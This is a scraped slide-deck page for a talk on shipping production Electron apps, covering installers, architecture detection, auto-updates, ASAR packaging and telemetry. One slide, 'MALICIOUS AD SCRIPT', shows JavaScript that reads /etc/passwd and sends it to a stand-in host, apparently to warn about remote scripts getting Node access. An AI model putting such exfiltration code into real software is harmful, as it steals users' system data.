Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Real-World Electron

Real-World Electron

In this talk, you will learn how to take your Electron app and get it ready for production. Dot all the I's and cross all the T's to build the perfect app – indistinguishable from a real native app.

Level: Intermediate to Advanced

You're a Node.js developer, so you love writing JavaScript. If you're like me, you also love the web -- CSS, HTML, WebGL, and WebRTC are fast, fun, and powerful!

But sometimes you need to build a native app. No one wants to learn a new language, use proprietary SDKs, and use completely different tools to get things done. There is a huge learning curve to make apps for Mac, Windows, and all the different Linux distros.

But there's a solution! With Electron, you can build native apps using JavaScript and web technologies. Electron apps feel completely native and support automatic updates, native menus, notifications, crash reporting, a professional install experience, and more.

Feross Aboukhadijeh

November 19, 2016

More Decks by Feross Aboukhadijeh

Other Decks in Technology


  1. UX

  2. MINIMUM > Windows Installer 32-bit > Mac Disk Image 64-bit

    > Linux Deb File 64-bit > Linux Deb File 32-bit
  3. STEAM PLATFORM STATS > 6% use Windows 7 32-bit >

    0.4% use Windows 8 32-bit > 1.5% use Windows 10 32-bit = 8% OF WINDOWS USERS ARE 32-BIT
  4. MINIMUM > Windows Installer 32-bit > Mac Disk Image 64-bit

    > Linux Deb File 64-bit > Linux Deb File 32-bit
  5. COMPLETE > Windows Installer 64-bit > Windows Installer 32-bit >

    Mac Disk Image 64-bit > Linux Deb File 64-bit > Linux Deb File 32-bit > Linux Zip File 64-bit > Linux Zip File 32-bit
  6. COMPLETE > WebTorrentSetup.exe > WebTorrentSetup-ia32.exe > WebTorrent.dmg > webtorrent-desktop_0.0.0-1_amd64.deb >

    webtorrent-desktop_0.0.0-1_i386.deb > WebTorrent-linux.zip > WebTorrent-linux-ia32.zip
  7. ABOVE-AND-BEYOND > Linux ARM architecture > Mac App Store >

    Windows Store > Ubuntu Software Center
  8. OFFER THE RIGHT FILE > os.arch() → architecture of Node.js

    binary > arch() → architecture of operating system > npm install arch
  9. OFFER THE RIGHT FILE const arch = require('arch') if (arch()

    === 'x64') { // 64-bit! } else { // 32-bit! } > Works in the browser
  10. AUTO UPDATER const electron = require('electron') electron.autoUpdater.setFeedURL(AUTO_UPDATE_URL) electron.autoUpdater.checkForUpdates() electron.autoUpdater.on('error', ...)

    electron.autoUpdater.on('checking-for-update', ...) electron.autoUpdater.on('update-available', ...) electron.autoUpdater.on('update-not-available', ...) electron.autoUpdater.on('update-downloaded', ...)
  11. MALICIOUS AD SCRIPT try { var fs = require('fs') var

    data = fs.readFileSync('/etc/passwd') // Steal the data var req = new XMLHttpRequest() req.open('GET', 'http://example.com', true) req.send(data.toString()) } catch (err) {}
  12. var Module = require('module') Module.prototype.require = function (orig) { return

    function (id) { console.trace(this, id) return orig.apply(this, arguments) }}(Module.prototype.require)
  13. electron-packager ASAR > app → app.asar > One file instead

    of 1000s > Fix Windows "max path length" bug
  14. TELEMETRY > Installs > Active users > User retention >

    Error stack traces > Version Skew